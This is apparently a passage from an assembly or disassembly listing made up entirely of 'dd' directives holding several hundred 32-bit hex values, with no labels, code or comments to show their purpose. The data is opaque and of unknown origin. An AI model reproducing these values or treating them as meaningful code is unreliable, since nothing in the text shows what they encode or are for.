		dd 70BE7BB7h, 78036CCDh, 0E888FDFCh, 2E1D0009h,	0C6E79584h
		dd 0C30EFA63h, 57BD0173h, 0E85954C0h, 0FBFC455h, 0C370B88Bh
		dd 12F278D6h, 0E702E998h, 1162A031h, 0F1890402h, 0EFAE9646h
		dd 95B25B37h, 10A491F9h, 0C91BC80Fh, 2D62FB55h,	50AEFC1h
		dd 7305644Bh, 7383D02Dh, 0F699CB01h, 6BBE8A2h, 86549E2Fh
		dd 2092DF0Ch, 330A2EA5h, 8314F9BDh, 0BD6F8D9Eh,	0C5320084h
		dd 2708D48h, 0F4D07219h, 75F2196Ah, 0F215A23Dh,	266D10A1h
		dd 359BC35Ah, 0B586B174h, 3B029835h, 4B8712B4h,	80A70380h
		dd 8E83EC1h, 0B16E5B5Bh, 58394800h, 2F90A4B7h, 6C364048h
		dd 4985C3ACh, 6E5E3C4Dh, 888B1B09h, 0E802F4B5h,	5B7405B1h
		dd 511CF399h, 9B4F947Ch
		dd 67B092B5h, 6122640Dh, 0BC8F5581h, 0A92E0003h, 0EF15CF39h
		dd 0F6048185h, 6F478BE6h, 9470DD09h, 0E4E1E38Dh, 33F2E7Dh
		dd 2BE8C9B2h, 0ED80AD18h, 4B09853Ch, 809B9E2Ch,	1D69950Eh
		dd 824914BCh, 0F917A75Fh, 0A107E704h, 6D206B70h, 0CAD50CF6h
		dd 29A63297h, 0F5E81640h, 0D7815F80h, 69D02F9Ch, 210522C4h
		dd 9CE87AE9h, 0F74C0600h, 4912B971h, 502A01C6h,	91E85EFCh
		dd 31D82B04h, 6C01007Ah, 8AE17BECh, 831D1E44h, 2A004DDEh
		dd 1793820h, 1D96C5F1h,	23AF3E03h, 6B1F071Bh, 344F1170h
		dd 0F781CCE7h, 5E1C93B8h, 5B25B037h, 41EA709Ah,	54606502h
		dd 0F4842B5Ah, 0BD08161Eh, 312984DAh, 0AAC3B477h, 0C001A6Eh
		dd 10325308h, 109F72FAh, 3E8D4F24h, 9E80C99Dh, 0C8DAB277h
		dd 8E0E3B6Bh, 622D3394h, 7ED201E8h, 0AE6D2781h,	803399C1h
		dd 0B697163Fh, 691E0EBh, 0C066062Fh, 1D018E0Fh,	0D82BF512h
		dd 8FB809ADh, 2BA27100h, 0BF66506Ch, 0C40F5ABBh, 606EBE54h
		dd 0F8700301h, 0D2FD2DF2h, 0BA755BE2h, 604C4D6Bh, 9FE42BFAh
		dd 0D0C23B1Dh, 8D08D366h, 0ED5B1233h, 0D8B83Dh,	93FC2648h
		dd 0BB9D773Fh, 10B5B0B8h, 20958DA9h, 0C49D11FDh, 3BCE05B8h
		dd 0EC5302C3h, 6D1A2778h, 7691C04Fh, 50184E64h,	65781341h
		dd 0B05D820Ch, 0B1D58DD3h, 44209A8h, 39DC885Ch,	86DB66C0h
		dd 0A920D89Ch, 11DDF133h, 0CC692828h, 0C6C7516Dh, 0A01BBE83h
		dd 7966745Fh, 0B52D3581h, 9957AB2h, 0F6491ECAh,	0C8523F4Ch
		dd 28222510h, 50F38D60h, 0AD9D8B99h, 613A0697h,	2B96B0C8h
		dd 0A69C1CF1h, 18465CAFh, 6D272803h, 7E25EC79h,	0D31409D5h
		dd 16DF721Eh, 8B571466h, 1A27B0CAh, 340D8C37h, 0B860E311h
		dd 962A5221h, 40057910h, 7335F7C8h, 0EA6F6601h,	8C6E9401h
		dd 3EF40AC6h, 3575CB1Ah, 8C9E8A5Ah, 14C508EDh, 83D5F145h
		dd 78068DBh, 0FB0A879Ch, 5F6D0509h, 83C455h, 5DBC7121h
		dd 3ABBC88Ah, 374A53Ch,	0CCC7AFF6h, 66F9B810h, 0C93C28B9h
		dd 64988891h, 10E5D8C2h, 786219CFh, 5E29CDA8h, 0DA38F46Eh
		dd 63DEADF1h, 786E465Ah, 971FC7B0h, 0ECF23103h,	38A03881h
		dd 5F30D7A6h, 0A1BD09B7h, 0E18A0791h, 1FDE5C32h, 160D564h
		dd 0B0C49DB9h, 63BCA065h, 0FB9B70D2h, 0AA270F80h, 41137F9Eh
		dd 3AF8BBA0h, 7CB9B580h, 0AE76F67Dh, 5EF54606h,	11FF0E9h
		dd 8BCB8A60h, 6E200D95h, 0BA556CCCh, 6A5F271Eh,	0D87844DBh
		dd 0F18C1C4Fh, 0D4F5C013h, 65CE812Bh, 0B272106h, 9F58B1B5h
		dd 843DD9B7h, 6ADC1D49h, 0C06FBEh, 16424733h, 80A863FCh
		dd 0C79D2769h, 6019E478h, 0EE63B43h, 81C15ACAh,	3EBC0D40h
		dd 0C49D8930h, 20E398DDh, 0B9020A45h, 0B6E85FEh, 0E0614DC3h
		dd 0EA9F4D99h, 9569DD00h, 8D23D52Ah, 93096E9h, 9E4DC58Ah
		dd 0DF1F7FC0h, 0B1EF04E5h, 0BFC08B3Fh, 0AE00AA6Eh, 0BECD47B4h
		dd 0B001C0E4h, 0B69EF181h, 0B56D2BDFh, 6AEA2AE9h, 7838212Fh
		dd 17C1DB1h, 0A5233D26h, 6AFF00F6h, 0CF3B8A6Eh,	664C4787h
		dd 0B4591A8Eh, 333ADDCEh, 8B2AB575h, 3C71BEFAh,	0BA85600h
		dd 218A786h, 4707BF50h,	76541017h, 51138C2Ch, 7EBF5D30h
		dd 99655D26h, 17119127h, 2F296160h, 52C145D4h, 0B08761D8h
		dd 0A91640CAh, 0DC8FF4h, 0BDB3EE27h, 2D60D44Ch,	8122719Eh
		dd 90016195h, 6682A468h, 6440638Fh, 352C2E37h, 16044F4h
		dd 4D7E0Dh, 0C208153Eh,	80BA764Fh, 0CD7C44E8h, 5F252D98h
		dd 4B7150h, 58150E88h, 4D012463h, 558560FCh, 9433ED16h
		dd 6F4E1D00h, 46D51AF7h, 0BF663200h, 5B5FFD63h,	14C89590h
		dd 0E6692CDFh, 6BF1540Eh, 0B3C1F94Dh, 0BF71FC80h, 0DBF8952Ah
		dd 0B0068081h, 2080D4ACh, 3120E6D9h, 0D1FF2D0Ah, 0E8C09D4Dh
		dd 35C1253h, 51DE3719h,	5BA2B70Fh, 0E407F655h, 0A01C524Eh
		dd 2242B91h, 0F428F46Bh, 0DB01B58Ch, 8B90075Fh,	742350D9h
		dd 89F61E01h, 0FE9D9B6Dh, 41DE5041h, 41621C6h, 0F5D25FC7h
		dd 8A5B0029h, 325E9D9h,	6223710Eh, 4D0B40D4h, 86BDC053h
		dd 0B52AC5F1h, 0C702512Bh, 27F45D6Eh, 0DCE0DCB9h, 29F84C04h
		dd 0BF55F185h, 0E8159511h, 8E5700E5h, 71DB19B8h, 1858B356h
		dd 130D104Ah, 9C60501Ch, 0F61C452h, 0C437AC31h,	79B1585Ah
		dd 0ABAC943Eh, 0E75E7EEDh, 0A90FA150h, 2F91546Ah, 4C5FD925h
		dd 0C99D10A6h, 0BD290523h, 74BE0AC5h, 0F51EBB92h, 1805B76Fh
		dd 0B5FF40D2h, 0EA1A9D2Eh, 0B25C03F6h, 8D012EC1h, 0A70832CBh
		dd 1335C995h, 8A9AA8E9h, 0B01C708Dh, 2DD442Fh, 759392ABh
		dd 8884AFA0h, 85DE28Dh,	1630F1B5h, 7FA0BC5Bh, 25154921h
		dd 0BFF54475h, 3FD19CAFh, 0B191629h, 40C80392h,	2A07EFAEh
		dd 4832BAC1h, 6467A1BDh, 0D76D98Bh, 88AA7B43h, 3EA3C3h
		dd 3B29F313h, 7C47BD64h, 1772730Fh, 42B0CD5Dh, 0A7B108D5h
		dd 0E8030442h, 44B70F9Dh, 0FB8B58BAh, 40F9C81Dh, 80FAB7D1h
		dd 0E95CA2EBh, 0F560853Eh, 14E520EBh, 0C01EF66h, 9261D547h
		dd 81D05401h, 95C43ED3h, 858B0D09h, 91BB2EE8h, 40589990h
		dd 0BF070128h, 1E2157F7h, 6B5410B8h, 0B0940175h, 84343E0Ah
		dd 616BD02Bh, 0DF894800h, 0F6C2992Fh, 605F0265h, 12E19529h
		dd 2D8839F4h, 5B61021Ah, 0B684D03Bh, 2D598C15h,	9FE90540h
		dd 79C471A9h, 0C602BC05h, 3FBCAE10h, 8247A9D2h,	0DC20E19Dh
		dd 2C8462EBh, 0B9950921h, 0A5524A2Eh, 89FE0921h, 0E822B1E4h
		dd 0E3A4000Dh, 7F957C6h, 0B7014A13h, 205067A6h,	202F5FF5h
		dd 0C1B58D76h, 242FD64Ch, 0BD6B6231h, 320902CEh, 7FE6EDEh
		dd 0F566CA40h, 4EE00076h, 0C684A114h, 0E81473B2h, 4BAD63F6h
		dd 955B3DF4h, 750B5C5h,	0ABC154B9h, 99BD258Bh, 0EB053AFAh
		dd 5540599Bh, 53FCB009h, 397270FEh, 0D821020Ah,	0E908DAFEh
		dd 0B0FC1733h, 0FA09A98Eh, 4B7C02Bh, 26B6D22Fh,	0A5DC94E0h
		dd 585E663Fh, 33AD0673h, 4E48D1C2h, 7599C1D0h, 0F9C87AF4h
		dd 0D7EE00A3h, 9530E71Fh, 0FB258BBBh, 17C25D0Dh, 4BE0726Dh
		dd 0E8C78450h, 6DA6A00Ch, 0CACF880Ah, 823E9CCFh, 0D2279195h
		dd 302D3022h, 34398D0Dh, 24B7F595h, 7DBB9180h, 954E9E6Bh
		dd 6EE30EDFh, 318A3C2h,	0E9087BC1h, 5A198B56h, 0E031A658h
		dd 1BC053D6h, 1910E909h, 28CD61C8h, 0B50070FAh,	8B3C58E8h
		dd 25A5A04Bh, 0D2CD2F62h, 965A57C9h, 2D20A7B0h,	7619704h
		dd 5B83152Ah, 0E30D48B8h, 1CD9508h, 654A8D1Ch, 9942B650h
		dd 0F37E091Ch, 205D9E2h, 35D0E1FFh, 2E5D6EC4h, 2A04C431h
		dd 0B0829BDEh, 9FFAE8ABh, 0C47290B7h, 5EF200DBh, 6D0CFD98h
		dd 2509A3C0h, 29796D1h,	933A5F5h, 0EB8D2304h, 884F1A50h
		dd 0D2901001h, 8BA0FBA6h, 0BF1466E0h, 812E250Bh, 2C860F03h
		dd 0C0155A0Dh, 1A3B97D9h, 0A0B400BBh, 0CF8026EAh, 0B31F6049h
		dd 6201565Ch, 5B1DBDF4h, 6FB8C57Fh, 355400BEh, 59662652h
		dd 0F49D5E33h, 0E1278014h, 4C3704h, 0B463A8FEh,	37120EFAh
		dd 0EB04163Dh, 0A052391h, 59BE07C9h, 37D60901h,	35BC00DEh
		dd 499BB94Ah, 0ED2525A7h, 0ABEA0230h, 89DAC0B3h, 0BF0F801Ah
		dd 9733DF3Ch, 17BD143Dh, 0B5E8BBE8h, 1F3FAB00h,	0C2218C9Fh
		dd 0BA9D7E03h, 695071C2h, 23200452h, 5F51310Fh,	0C585A36h
		dd 0D004841Ah, 7A5C0218h, 9EF93866h, 1245BBA0h,	0DC6880h
		dd 0BFF73C88h, 4B6FDABAh, 23308160h, 9308E27Bh,	8B5478AEh
		dd 0B1B53109h, 5D28492Fh
		dd 0DB2ECC65h, 0EAC09E7Bh, 0CEA08E4Fh, 0F00D168Bh, 0BA1D30FCh
		dd 5E00E80Bh, 7D99336h,	4E7F8589h, 4B7ABDh, 0BD7484DFh
		dd 25665657h, 0E5DBFFE9h, 59ABAD8h, 986CEDA9h, 8DC104CBh
		dd 8950072Eh, 9228D67Bh, 772F0D5Bh, 6B6761BBh, 84C7BA93h
		dd 10B33A2h, 3D407995h,	0BD5E3152h, 955A05F4h, 0AF7BBDE1h
		dd 0E9FE6DFEh, 380795Fh, 18CBE417h, 0B499A2Dh, 8709374Ch
		dd 10B1752Ah, 81BB2D35h, 8940C565h, 0AA520585h,	82E8BBFDh
		dd 0FD91BB03h, 0D2894BDFh, 0E08EED04h, 6AC7FDB5h, 50C8C616h
		dd 0C180E2E8h, 0CB8CE920h, 4DE038h, 3F53509h, 0FD754Eh
		dd 0BA60D707h, 55F111E9h, 12306148h, 38A62434h,	0FC0262E0h
		dd 0FFBC2F09h, 0B0811B5h, 80079DD0h, 0E516F668h, 1303794Bh
		dd 0F8184BEh, 54E60970h, 0E0DEA673h, 90F95FA1h,	35212D50h
		dd 0E200AD73h, 0C1196ECBh, 870F2760h, 2CF5751Ah, 918DF886h
		dd 3B299DBEh, 815F13CAh, 6E50FA77h, 16EF6C8h, 1D056BB2h
		dd 6690AFE0h, 3539F034h, 3DE513A5h, 23356E4Ch, 65F0018h
		dd 66D25C5Dh, 40BCBB25h, 2541D305h, 636D6107h, 0B8281FC0h
		dd 0E48558C7h, 0E80121D9h, 22B914A1h, 712C9D21h, 0B273899h
		dd 0B8401233h, 0E92F404Dh, 4C9B4270h, 86C6D8h, 0E62E16F4h
		dd 0B523BF07h, 505F6F04h, 7E830C30h, 0C1019844h, 0CE107AE8h
		dd 4C0F020Eh, 0A45803C4h, 0EB37E7E3h, 10783636h, 58B8E764h
		dd 29CD501Bh, 18032128h, 1133458h, 31B2557h, 0D98AC03Bh
		dd 0BB9D9DFBh, 258B455Dh, 0B0C89413h, 5385229Ah, 0C17FCD9Fh
		dd 0F96D8C0Bh, 0DE2EC4E7h, 0CCD75552h, 96516322h, 0CF5C04A4h
		dd 7FE1825Bh, 0BB305729h, 5F3A59Dh, 13B15B05h, 9AA1C7B7h
		dd 40883B7Ch, 5D0800C6h, 0FE6B1D7Eh, 251ED9D1h,	0DBCBA46Fh
		dd 73100476h, 416233Fh,	81A23863h, 221F945h, 0F18E77C7h
		dd 0EC359057h, 0F2C85082h, 60D8A60Dh, 491A83FAh, 45048009h
		dd 5696A938h, 4CF860CEh, 2B024E01h, 69E27EE8h, 8CA5B9ACh
		dd 8B512741h, 9C13A1ECh, 10DD42C1h, 0F4D25Ch, 0DC5F5EA3h
		dd 0F333B286h, 9B38C92Bh, 23697031h, 115EC304h,	860F0D13h
		dd 77F8C6A4h, 0A7C44B89h, 5C83B054h, 0DA690018h, 0F7D619DDh
		dd 0FA4EBF0Fh, 0E4815973h, 4C28302h, 8FC35C60h,	20508912h
		dd 92E0A0A6h, 507380Ch,	0E3EB81CCh, 60234A82h, 5ED32BEEh
		dd 0F0A9B615h, 14D7B8ECh, 1D800F39h, 0D8B70076h, 7F73DB81h
		dd 9DA131EBh, 801B22B8h, 4A8AC75Dh, 16491898h, 0BD338269h
		dd 0BE15194Fh, 0FBB7C510h, 0C143ADE3h, 14301DA2h, 49AE0002h
		dd 0D84DC8DCh, 0F97901Ah, 0F4F82B2h, 589578Dh, 6B2FD0E6h
		dd 0C8D9D0h, 0A10FAB65h, 1F01436Dh, 49BFA773h, 2320B033h
		dd 5B3540B9h, 90B3965Ah, 0EE91502Fh, 0ED23F885h, 3C200E04h
		dd 20BE6033h, 45A729DAh, 0E485F900h, 5B3B601h, 0A33E5B95h
		dd 5E6132DCh, 7490B2FCh, 33D0BC7h, 0A590E345h, 24CDBD82h
		dd 561CBA71h, 16F6A326h, 0C93225AAh, 0CE883F2Ah, 80B6B996h
		dd 20EFCA5Dh, 3200A357h, 3A352C40h, 174A319Fh, 13DF109Dh
		dd 75531424h, 9672AA02h, 2BF29589h, 14022EA1h, 0F96A3CECh
		dd 7B0AF65Bh, 0CA845930h, 0C745FD60h, 11890B62h, 6A981A7Fh
		dd 0B4026EACh, 8D905287h, 0E5B48F5Fh, 3F6E122Ah, 0A4DD8700h
		dd 6DBD3186h, 889487BCh, 12DF4146h, 9D14D878h, 90008AB5h
		dd 9262C634h, 20FECC4h,	0B58943BCh, 5F0904FDh, 0ED2D4873h
		dd 18B94055h, 0F01D771Ch, 7BC4BF5Eh, 3881015Ch,	2021445h
		dd 0D30B5B07h, 0CA19D04Bh, 0C18D291Ah, 25D641ADh, 5AE9C654h
		dd 0EF4F30B8h, 4001CD9Ch, 0A091C610h, 0B095FA2Dh, 1A315BF9h
		dd 9DDC3127h, 0CF588926h, 6B7C399Fh, 2839788Fh,	0FFF2EFA3h
		dd 0C18BF988h, 11BD290Bh, 0E1BF562Fh, 6A50F98Ah, 74705F20h
		dd 85490099h, 873CF4B4h, 7200066Ah, 956ECF2Ch, 4F69BAC9h
		dd 17EBE254h, 0D9CCFD8Ah, 0BD9D2D23h, 6EC2E2E4h, 0DE1650AEh
		dd 0FA02DE09h, 0E9BD89ABh, 99B2D50Ah, 12D452FCh, 0F8427E48h
		dd 3010800Ah, 492784h, 0CDABE4Bh, 445E8640h, 0BB509007h
		dd 4327DE7Ch, 8000377Bh, 91AC1B0Ch, 0EE0ABFD6h,	0F107D0BBh
		dd 3180FC38h, 0DD515C8Dh, 815FDBD2h, 6AB5B336h,	0DCBD7EC2h
		dd 608AE501h, 0DA15E043h, 9AEE742Eh, 0E039C1D4h, 5340E9EBh
		dd 7E813Ah, 16AC8A59h, 40EF6AB6h, 0BE804300h, 0CB2C0EA1h
		dd 0DD514BC0h, 6C6A6A07h, 0AB873300h, 9D035AE1h, 5C8414Bh
		dd 1640BD57h, 0D72EBE05h, 4A7C24Ah, 0EEB86182h,	0E02944B2h
		dd 4A2360D3h, 0F8584195h, 0D0026A61h, 0B06BB90h, 500D6EE5h
		dd 317B80B2h, 0C6DF00EAh, 7933202Bh, 4A0511FAh,	9026A47Dh
		dd 0B8C024EAh, 110B50B2h, 326A0B95h, 41F583Ch, 38E9C8CCh
		dd 0B1E4B80Ch, 790950B8h, 4C5A833h, 14A87921h, 0D2B6B86Bh
		dd 2A14E05h, 0F94634A5h, 0E612CA6h, 8805922h, 985F4B53h
		dd 9D180192h, 0BFD103C5h, 84D54B07h, 393FAA78h,	97001B23h
		dd 0F71507DBh, 11CD25C0h, 3DDD8FCAh, 8BF201D0h,	66FF6ADEh
		dd 0A18F0B6h, 0B3F40916h, 0F40E0B51h, 0ED2E9112h, 6D7A7E1Ah
		dd 0C794F200h, 0F0C17DBh, 0D1F2F85Ah, 79CB1300h, 5E9923A2h
		dd 0B900F572h, 7AD4BFD7h, 95B5A2Bh, 2551BD0Bh, 2F44CE71h
		dd 0B0D88A43h, 0D0B46081h, 300E080h, 8170E661h,	485304F3h
		dd 4750A1ABh, 1EB960E3h, 0DF8B71E4h, 9BB2497h, 0DBB7895Dh
		dd 8B2DB872h, 58B8E6F8h, 245048D9h, 0BB2D4075h,	0E54B890Bh
		dd 890B540Ch, 0F15FFFB7h, 0A25FBBB6h, 6D32808Ah, 537B96h
		dd 17810597h, 0DA123962h, 0DDAD2806h, 95B25D02h, 0A9BDBE82h
		dd 0C82BBA68h, 1C40B3B2h, 5CB578B7h, 0E91051D1h, 7203512Ch
		dd 0D2BB0234h, 0E0275F14h, 9433A901h, 28BE87Bh,	4A988F49h
		dd 9C82C05Ch, 290515A8h, 0B1F26189h, 7820F14h, 6401586Eh
		dd 0ABB9F8DDh, 97808A7Bh, 5AE9B721h, 0BD2AA1A4h, 0E69DE005h
		dd 0FBB581ADh, 429C222Eh, 0A5EDCA2Dh, 99FE1442h, 0D4DC24A1h
		dd 0D3C3009Ah, 0FDEE29ACh, 36EC2A32h, 9CAD6102h, 0DC89F425h
		dd 0B26449F5h, 0ED61F61Fh, 60D337C0h, 62EB6F32h, 4852C76h
		dd 8D02112Eh, 15DF8FB5h, 2DEF87Ch, 89354D7Fh, 0CFD1AD9Dh
		dd 6D29CA24h, 0CDB76185h, 82D22ABFh, 0A97EB968h, 0B0D640C1h
		dd 990797EEh, 0FB5F29F8h, 0B8DA58DDh, 8088E2B9h, 3448BF0Ch
		dd 0EA7025C0h, 5B12AFA8h, 8509D22Bh, 0E37D71DFh, 32A2B529h
		dd 4120E372h, 7A8B9508h, 9CD066F3h, 4DB5026Fh, 36F52603h
		dd 0BD04177Bh, 70B802D1h, 0A8F5E9B4h, 0D48C58A8h, 2B2C417Bh
		dd 0F3E6F2Bh, 0C470BC4Ah, 25B8573Fh, 0BDF59BA2h, 30CD82B0h
		dd 0D99ADD3Bh, 0CE70DCD3h, 427F4FD7h, 220DBDBAh, 52EA635Ch
		dd 11B7CDEh, 0C1B6CDC7h, 66E1FF65h, 0D412F02Bh,	19D3051Eh
		dd 0D45425BCh, 0A196AC76h, 0A72E03A1h, 4DFBA0E3h, 290C1679h
		dd 31C7A00Eh, 0E9442B41h, 8F352FFh, 5689027Ch, 468A715Fh
		dd 33907979h, 0BDC81B83h, 0DBB63181h, 0CB2A8658h, 0C9746033h
		dd 0FD546628h, 0CAA061C3h, 44B521C9h, 32412078h, 0FF5C8A95h
		dd 294BC304h, 9043AB8h,	0B807B1B5h, 0A727C816h,	1D03D1E4h
		dd 0BA075A08h, 0A444A887h, 0BB1008Fh, 29C55D59h, 0BDE6CFF5h
		dd 0CA121538h, 87435F99h, 0DAC34A01h, 0C11CC80Ch, 0D8BD8207h
		dd 0FA021D87h, 8531A6FDh, 505FCDDh, 0F8F98B90h,	2A5E1ED7h
		dd 0DA950909h, 0F66A4A17h
		dd 0ED98F09Ch, 33F509E5h, 787A8D09h, 9B126877h,	46E547F6h
		dd 4A91B32Fh, 0C603FCBh, 0AAE107BBh, 0E012216Bh, 2C98F652h
		dd 9D847E9h, 117126C9h,	0D4E45E69h, 4E90DD00h, 0AF7FCCC4h
		dd 0C3E858F6h, 0E7FEB712h, 5DA5B07h, 56FEC80h, 0D409AD69h
		dd 0F8E27443h, 8FE11F44h, 5B0110E9h, 25214308h,	0C38DE446h
		dd 0F8E7D7E0h, 0B2BA48E3h, 0E7233D12h, 0A16E4B04h, 0FDFEDF00h
		dd 8753BB66h, 89161A97h, 0CF5877A0h, 73F73A95h,	6D915095h
		dd 8E7CCAB5h, 0D1B9C1CFh, 982661C4h, 6403777Ch,	0B0520F09h
		dd 5B800AEBh, 0E6899561h, 0DCBD7Ch, 50BA26DEh, 85232E9Dh
		dd 0B4E0F64Ah, 0F2E48324h, 22FD4ABFh, 0C44885D7h, 0D3C1A864h
		dd 1735D306h, 917597BBh, 5CDA8965h, 686180C2h, 7F826F57h
		dd 7BFE8B24h, 9D6CA887h, 0AAAC6094h, 0DBEFCF9Fh, 54A1E44Bh
		dd 8D5FF19Fh, 4D07F566h, 0B2A8342Ah, 0ED4400C9h, 2F3DC619h
		dd 9A180057h, 0DCD9260Fh, 47007538h, 5A6FFBE4h,	13F2BF90h
		dd 47596C16h, 0BBDC3015h, 0BB605074h, 244442D2h, 0C2C4F857h
		dd 487B61F9h, 1D6C470h,	0F1100FB4h, 2B50B3AFh, 25807E2Ch
		dd 0A445F0D3h, 42F93017h, 50B02AECh, 7803392Eh,	4B796146h
		dd 0FC4847E9h, 7359E9B7h, 0BDA63ED7h, 95C34EC2h, 0DB250F41h
		dd 157365DAh, 0AC4A97C1h, 2013D2CBh, 32B3B112h,	333A88Dh
		dd 0F785AD95h, 6D205BA5h, 0F4595365h, 95697449h, 2DB5ABAh
		dd 0EFE85752h, 7EDCA74Bh, 0B5F3CB75h, 2A2C8D4Ah, 9B801ADBh
		dd 3F5F7721h, 0CADAA339h, 980593C8h, 15175C32h,	0C72C8A00h
		dd 81CFBE3h, 13ACC358h,	55778B3h, 0DA4B238Bh, 0D60D8080h
		dd 979FE43h, 1DB5291Fh,	5853B0A9h, 5335ADh, 5B7CEF16h
		dd 0B41C47C5h, 1CA4FF8Eh, 0C4484511h, 0D8C4D92Dh, 8BC57F3Eh
		dd 160CB0Ch, 34359530h,	0BFB35F02h, 0C851A12h, 6E4A74B7h
		dd 7E90004Ch, 8F6B4CDAh, 818A079Eh, 34687CDFh, 4A96AC0Eh
		dd 3EECC4B9h, 4B9D8D4Ch, 7B8D2752h, 80FBDB2Bh, 0BD2F8365h
		dd 0D06E3990h, 0B062BBA5h, 0B3C49462h, 5EB20B95h, 0C000DCC2h
		dd 5CD8DF1Ch, 9DA8060h,	0D995298Bh, 4EA56554h, 9CB5B7B7h
		dd 62497E29h, 79930548h, 0B5A8F494h, 0EA6AF9C5h, 6738996Fh
		dd 77865B83h, 0C1C98EAAh, 0A43270EFh, 31D2C095h, 492D992Eh
		dd 6DCB7A81h, 0D2986C46h, 0A1D0504h, 0E1F0960Bh, 46BD5075h
		dd 25C6A50Ch, 95D4BAD6h, 8913D173h, 8D4AB5E2h, 26DB7B8Ch
		dd 0F470AF80h, 0DD7DBFA8h, 65232D25h, 32B11A4h,	4F7FBB52h
		dd 505FD953h, 0DB2B3835h, 260280E1h, 97B1E756h,	72868531h
		dd 8E666674h, 955BE00Dh, 124B4E9Ah, 0EDE3B4Bh, 0DCFF6CC2h
		dd 386A1156h, 7057D113h, 5825F1CAh, 0F6D456h, 0D9A4AE77h
		dd 6F14BCB2h, 3F09D64h,	7CFCB157h, 12C6CEFBh, 27076FEBh
		dd 30316172h, 20EE3D2Ah, 9403D98h, 0F4B91CE9h, 6C7665FFh
		dd 4D512C40h, 0E1810067h, 7D888DD0h, 205646Ah, 84EEFEDEh
		dd 8C055EC3h, 0C053C14Bh, 8068E770h, 0B8950795h, 14BF6619h
		dd 0CC6008A6h, 40048910h, 612DFA95h, 51366250h,	0BF04A0E6h
		dd 4775064Ah, 579200EEh, 32B72665h, 98C9EC4Fh, 0B589C282h
		dd 0C7752A45h, 601DE47Fh, 3F8BE4D7h, 0E867A33h,	0DA941399h
		dd 165F0916h, 5BF21DA6h, 9094856h, 5C30928Dh, 19FF0D2Dh
		dd 0A36E2BF3h, 0ABCD6203h, 0CE03977h, 0C56EDB0Dh, 621E4958h
		dd 37297774h, 2A78705Bh, 17E993C1h, 0BC3BBD6Ah,	0A1030796h
		dd 118CFC99h, 31AC2EBCh, 0FED43A8Bh, 2F7809BFh,	410F3A55h
		dd 692DF1Bh, 25FFA3FAh,	0A44460h, 0F15F6907h, 0A23ED0DCh
		dd 44BC0200h, 87A78BD8h, 0C08E00AFh, 5F56AABAh,	8C250F59h
		dd 0E0635411h, 0DEA1AEEAh, 0EF7C303h, 0C0B9702Ah, 5EFF615Ah
		dd 89B4DBD1h, 0F1810767h, 157977B9h, 0B92F7F66h, 0E8D52581h
		dd 4B94ABEh, 8D63D9BBh,	197AAB23h, 50AFE04Fh, 4F4B94h
		dd 7E73C832h, 3A6F005Bh, 840EC961h, 0E14ABCF5h,	0B8B588E4h
		dd 363A9514h, 983775h, 0E99386EFh, 9713A0CDh, 64043EC8h
		dd 0EE442669h, 0B25BAC0Dh, 7DBC4213h, 0B5E5E2CDh, 0F1308B9h
		dd 0CF0A888Fh, 0EF81E401h, 3717E77Eh, 4B5FF72Eh, 67A854EDh
		dd 0CD4D802h, 55E2E03Ah, 1CB547BAh, 45121590h, 48ADB331h
		dd 4653C0F3h, 3B82E10h,	2B6499B9h, 37C8A5DEh, 0A925071Fh
		dd 0B7AF64F0h, 803DE3BDh, 0B516DCFh, 973271BDh,	4BB3A7Dh
		dd 17E155E3h, 0DAAD742Ah, 281FC97Fh, 902CEF5h, 0C0FF6A34h
		dd 58D10F26h, 0B527F98Ah, 0E6F5A0DAh, 58534389h, 28480211h
		dd 3834C510h, 8A204FB0h, 2F061C3h, 0BD2B9D18h, 925509A5h
		dd 85E1751Eh, 0F232C8F3h, 60298625h, 8466B363h,	4584D170h
		dd 61342AFFh, 0EB94C8AFh, 8D692500h, 1943A707h,	92B9B04Ch
		dd 0FDC8BF69h, 0C01167F3h, 0DC481383h, 2B957531h, 85C340C8h
		dd 197ED7E3h, 0FAA0D164h, 44255A82h, 710A64A0h,	9011BC03h
		dd 487C179Dh, 27224E48h, 496DDB5Ch, 2345022Ah, 0C97C85BDh
		dd 891EE3BCh, 602B310Eh, 61AA544h, 802FEC7Ah, 0D04B3B61h
		dd 0FCC281E8h, 0E12941E9h, 9D7B2333h, 78987ADAh, 210D25BDh
		dd 2011E953h, 0A4CB8019h, 0FE1E40A5h, 9D173160h, 2B650FF9h
		dd 54E6451Ah, 0F174502Bh, 9D8C593h, 3C8760B3h, 2769B529h
		dd 0AF3765BFh, 9B837835h, 0AA683753h, 3667723h,	7F93BF01h
		dd 0C7B93C88h, 0B4570C64h, 20804ECCh, 0D997F7C2h, 67403300h
		dd 4EAD6BDAh, 0B9E4FFh,	8D7FFAE7h, 466CBF5Fh, 0E1D02950h
		dd 844BB795h, 4E0DE86Eh, 0CCCE3DB9h, 5C282023h,	0AB41ECFh
		dd 0FC5B49F7h, 84D08C2h, 0EDC02B09h, 613C0A7h, 8701B5C9h
		dd 89AD340Dh, 9B64F5BDh, 25EDA4BAh, 7B6758B3h, 691B5CA5h
		dd 9C473B5Eh, 5D1A826Bh, 25525E1Eh, 88480658h, 9DEC988h
		dd 95EC66CDh, 3FD28590h, 86FAFC00h, 0B9852CB0h,	5DAF00ACh
		dd 6AB4D3CBh, 0D14ADAB5h, 804479CDh, 5CA83EC4h,	0D39684BDh
		dd 57ACD778h, 812041A2h, 252CD2C7h, 3E643389h, 18CCF94Ah
		dd 669A01B7h, 0FF7608BBh, 206E2BE1h, 0E4BD6D28h, 0CB488223h
		dd 14959FA5h, 4BE25FDh,	2CF4CCF6h, 0F6BBC5h, 8B8A5E14h
		dd 2FE7FB69h, 62F45ABAh, 0BE62E754h, 51FC54E4h,	9725A497h
		dd 0EC9D893Ah, 46F65132h, 0B79DAA4Eh, 60B78082h, 64196BF6h
		dd 0CAF5AB3Bh, 6DB8AAF9h, 98A0802h, 7F2CBDB5h, 0E3BC3A6Ch
		dd 12D478D4h, 0B1567571h, 0E0137641h, 9A8F6AD6h, 34D22F5h
		dd 2CE99D11h, 3F67924Ah, 0FFB3327h, 0AFE2F76Dh,	0A0A8B692h
		dd 11A0DDABh, 10E947h, 0ED1F5D1Bh, 0FD5592h, 9B502827h
		dd 1C680256h, 7EDDE74Ah, 76A86E29h, 0DC89CC27h,	105D49E4h
		dd 3EF2D10Fh, 9E00834Ch, 0AE9DD091h, 0F90BF152h, 55569089h
		dd 6DFB9707h, 68E0D77Ah, 3A32C716h, 0E88118FFh,	0E1E43CD8h
		dd 80839B3Fh, 84F197DFh, 0FFBE0516h, 0AB880F7Eh, 26EF8831h
